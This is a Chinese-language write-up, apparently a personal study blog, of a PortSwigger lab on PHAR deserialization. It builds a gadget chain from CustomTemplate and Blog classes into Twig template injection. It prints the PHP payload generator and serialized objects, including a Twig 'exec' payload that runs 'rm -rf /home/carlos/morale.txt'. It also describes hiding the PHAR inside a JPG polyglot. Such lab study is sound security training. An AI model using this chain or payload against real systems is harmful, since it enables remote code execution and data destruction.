专家-自定义小工具链-PHAR反序列化
# 实验室:使用PHAR反序列化部署自定义小工具链
# 题目
此实验室不显式使用反序列化。但是,如果你将 PHAR 反序列化与其他高级黑客技术相结合,你仍然可以通过自定义小工具链实现远程代码执行。
若要解决实验室问题,请从 Carlos 的家目录中删除morale.txt
文件。
你可以使用以下凭据登录到自己的帐户:wiener:peter
- name: 实验室-专家
desc: 使用PHAR反序列化部署自定义小工具链 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-using-phar-deserialization-to-deploy-a-custom-gadget-chain
bgColor: '#001350'
textColor: '#d112fe'
2
3
4
5
6
# 实操
(2023)做了一半,有了点眉目,不想看答案(倔强)。
(2024)我回来复习了,顺便做掉这道当时摆烂的题。
# 前言
在写做题笔记之前,我先试着做了一遍,踩了两个坑。
# PHAR合并JPG问题
该实验室站点只允许上传 JPG 文件,不验证文件扩展名(因为上传后会重新命名文件)。但其对文件内容是否是 JPG 执行了严格验证,一张正常的 JPG 图片,只要稍微修改几个字节,就直接拒绝上传......而且还不是单纯的验证文件头,是验证整个合法的 JPG 格式(文件头 + 文件尾 + 其他关键字节)
更别提还要把 PHAR 和 JPG 文件二合一了。
# 尝试1
一开始我试图手动合并两个文件(在一个文件尾部追加另一个文件的内容)
- 合起来以后硬是传不上去
- 而且合起来以后 PHAR 内容貌似还失效了
# 尝试2
我试图通过制作图片马的方式来生成 PHAR + JPG 载荷:
copy i.jpg/b+myapp.phar/a myapp.jpg
不管我如何运行命令,结果都是一样,要么传不上去,要么 PHAR 失效。
# 寻找解决方案
然后我瞄了眼答案,找到了这样一个工具——PHAR 与 JPG 文件合并工具:https://github.com/kunte0/phar-jpg-polyglot (opens new window)
貌似是专门为此而生的......
# 经验不足
这点就真的是我自己菜了,做到一半卡住了,思路萎靡不振......看了答案(没忍住)。
下面的内容中有提到。
# 开始实验
点击 “ACCESS THE LAB” 进入实验室。
先登录,在个人账户界面可以看到一个头像上传功能。
捕获一个请求数据包,正如题目中所说,Cookie 中已经没有明显的序列化痕迹了。
然后我在自己的计算机上,找到了一张可能是最小的图片,大小只有 200 字节(0.2 KB),十六进制数据只有短短的几行。
因为待会要将 PHAR 和 JPG 文件合并,所以 JPG 文件的体积要尽量小一点,防止内容影响到 PHAR 载荷的有效性。
这张小图片可以正常上传,状态良好。
但图片的访问并不是基于文件名的形式。添加phar://
后也没有发生任何事情,反而提示 404 找不到文件。
我试图寻找其他的入口点,但整个站点只有这一个地方能够访问图片。只能死马当活马医了。
随后我在上一级目录中发现了 2 个备份文件:CustomTemplate.php~
与Blog.php~
# CustomTemplate.php中的__destruct()
备份文件CustomTemplate.php~
的内容如下:
- 在实例化该类时,会分配一个变量
$template_file_path
,该变量存储的是一个模板文件的存储路径 saveTemplate()
会判断锁文件是否存在,如果不存在则根据变量$template_file_path
创建一个新的模板文件,并将$template
的值作为文件内容。同时还会创建一个新的锁文件,防止重复创建同一模板getTemplate()
用于获取模板文件的内容isTemplateLocked()
会调用file_exists()
函数来判断锁文件是否存在lockFilePath()
会返回锁文件的路径,锁文件的存储路径为templates/<模板文件>.lock
魔术方法__destruct()
会在该对象被销毁时,自动删除锁文件。
<?php
class CustomTemplate {
private $template_file_path;
public function __construct($template_file_path) {
$this->template_file_path = $template_file_path;
}
private function isTemplateLocked() {
return file_exists($this->lockFilePath());
}
public function getTemplate() {
return file_get_contents($this->template_file_path);
}
public function saveTemplate($template) {
if (!isTemplateLocked()) {
if (file_put_contents($this->lockFilePath(), "") === false) {
throw new Exception("Could not write to " . $this->lockFilePath());
}
if (file_put_contents($this->template_file_path, $template) === false) {
throw new Exception("Could not write to " . $this->template_file_path);
}
}
}
function __destruct() {
// Carlos thought this would be a good idea
@unlink($this->lockFilePath());
}
private function lockFilePath()
{
return 'templates/' . $this->template_file_path . '.lock';
}
}
?>
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
一开始,我想出了一个利用方法,但实际不太可行:
- 创建该对象并将
$template_file_path
指向/home/carlos/morale.txt
- 但当对象被销毁时,实际删除的是
/home/carlos/morale.txt.lock
文件,并不能达到实验结果
# Blog.php中的服务端模板注入
备份文件Blog.php~
的内容如下:
- 此处使用了 PHP 的模板引擎 Twig
在反序列化对象时,魔术方法__wakeup()
会将$desc
创建为 index 模板。
在将对象作为字符串处理时,魔术方法__toString
会将$user
作为 user 参数传递给 index 模板。
<?php
require_once('/usr/local/envs/php-twig-1.19/vendor/autoload.php');
class Blog {
public $user;
public $desc;
private $twig;
public function __construct($user, $desc) {
$this->user = $user;
$this->desc = $desc;
}
public function __toString() {
return $this->twig->render('index', ['user' => $this->user]);
}
public function __wakeup() {
$loader = new Twig_Loader_Array([
'index' => $this->desc,
]);
$this->twig = new Twig_Environment($loader);
}
public function __sleep() {
return ["user", "desc"];
}
}
?>
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
根据以上对象,可以构造出以下 SSTI 载荷:
<?php
class Blog {
public $user;
public $desc;
}
$blog = new Blog();
$blog->desc = 'Hello {{ user }}';
$blog->user = '7*7';
echo serialize($blog);
// O:4:"Blog":2:{s:4:"user";s:3:"7*7";s:4:"desc";s:16:"Hello {{ user }}";}
2
3
4
5
6
7
8
9
10
11
12
变量$blog->desc
会被加载为 index 模板,而变量$blog->user
将作为 user 参数传递给该模板。另外:
- 参数 user 的值
7*7
可以修改为实现代码执行的模板表达式 - 又或是将 user 留空,直接在
$desc
中注入载荷
# 卡壳
然后我就卡住了:
- 我发现了服务端模板注入
- 也能够制作 PHAR + JPG 文件
- 也找到了潜在的入口点
avatar.php?avatar=phar://wiener
但我如何执行 Twig 表达式?如何执行 PHAR?
然后我小小瞄了一眼答案(我是 FW),看到了关键:
// 将 CustomTemplate 对象的模板存储路径指向 Blog 对象
$template_file_path = $blog;
2
我一开始没反应过来,因为$template_file_path
是字符串,而Blog
是对象。这两东西应该不会在一起才对。
然后我幡然醒悟,Blog
对象中有魔术方法__toString()
呀!所以这个对象可以被视为一个字符串!
经验不足经验不足,没发现。
# 反序列化链
创建以下载荷:
<?php
class Blog {
public $user;
public $desc;
}
class CustomTemplate {
public $template_file_path;
}
$blog = new Blog();
$blog->desc = 'Hello {{ user }}';
$blog->user = '7*7';
$template = new CustomTemplate();
$template->template_file_path = $blog;
echo serialize($template);
// O:14:"CustomTemplate":1:{s:18:"template_file_path";O:4:"Blog":2:{s:4:"user";s:3:"7*7";s:4:"desc";s:16:"Hello {{ user }}";}}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
将序列化对象
O:14:"CustomTemplate":1:{s:18:"template_file_path";O:4:"Blog":2:{s:4:"user";s:3:"7*7";s:4:"desc";s:16:"Hello ";}}
合并到 JPG 文件中一起上传。通过 PHAR 伪协议访问该图像文件,序列化对象被程序加载。
CustomTemplate 对象被销毁,自动调用魔术方法
__destruct()
并使用函数unlink()
删除锁文件。删除锁文件的时候通过
lockFilePath()
获取锁文件的路径,文件路径会拼接变量$template_file_path
。此时的
$template_file_path
是一个 Blog 对象,字符串拼接触发了 Blog 对象的魔术方法__toString()
。魔术方法
__toString()
会渲染 index 模板,将7*7
传递给Hello
。
# 制作载荷并完成实验
# Twig模板命令执行
上面已经构造了一个恶意的 CustomTemplate 和 Blog 序列化对象。然后根据 SSTI 备忘单 (opens new window)找到 Twig 实现命令执行的载荷,修改代码:
<?php
class Blog {
public $user;
public $desc;
}
class CustomTemplate {
public $template_file_path;
}
$blog = new Blog();
$blog->desc = '{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("rm -rf /home/carlos/morale.txt")}}';
$blog->user = 'unDobin';
$template = new CustomTemplate();
$template->template_file_path = $blog;
echo serialize($template);
// O:14:"CustomTemplate":1:{s:18:"template_file_path";O:4:"Blog":2:{s:4:"user";s:7:"unDobin";s:4:"desc";s:110:"{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("rm -rf /home/carlos/morale.txt")}}";}}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# PHAR与JPG文件合并
借助 PHAR 与 JPG 文件合并工具 (opens new window),修改主文件phar_jpg_polyglot.php
,将以上代码添加到对应位置:
提示
变量$template
的名称要修改为$object
。
运行工具,生成 PHAR 与 JPG 合成图片:
php -c ./php.ini phar_jpg_polyglot.php
提示
图片文件in.jpg
可以替换为自己的。
运行命令之后若无产生错误信息,则out.jpg
就是我们的最终文件。
# 上传文件并通过PHAR伪协议访问
上传out.jpg
成功,且在文件内容中可以看到恶意的序列化对象。
通过伪协议phar://
访问文件,依然是 404 状态码以及 “Not Found”,看起来貌似什么都没发生?
回到实验室页面,实验已然完成!说明 PHAR 反序列化成功了!(永远不要相信站点的响应状态)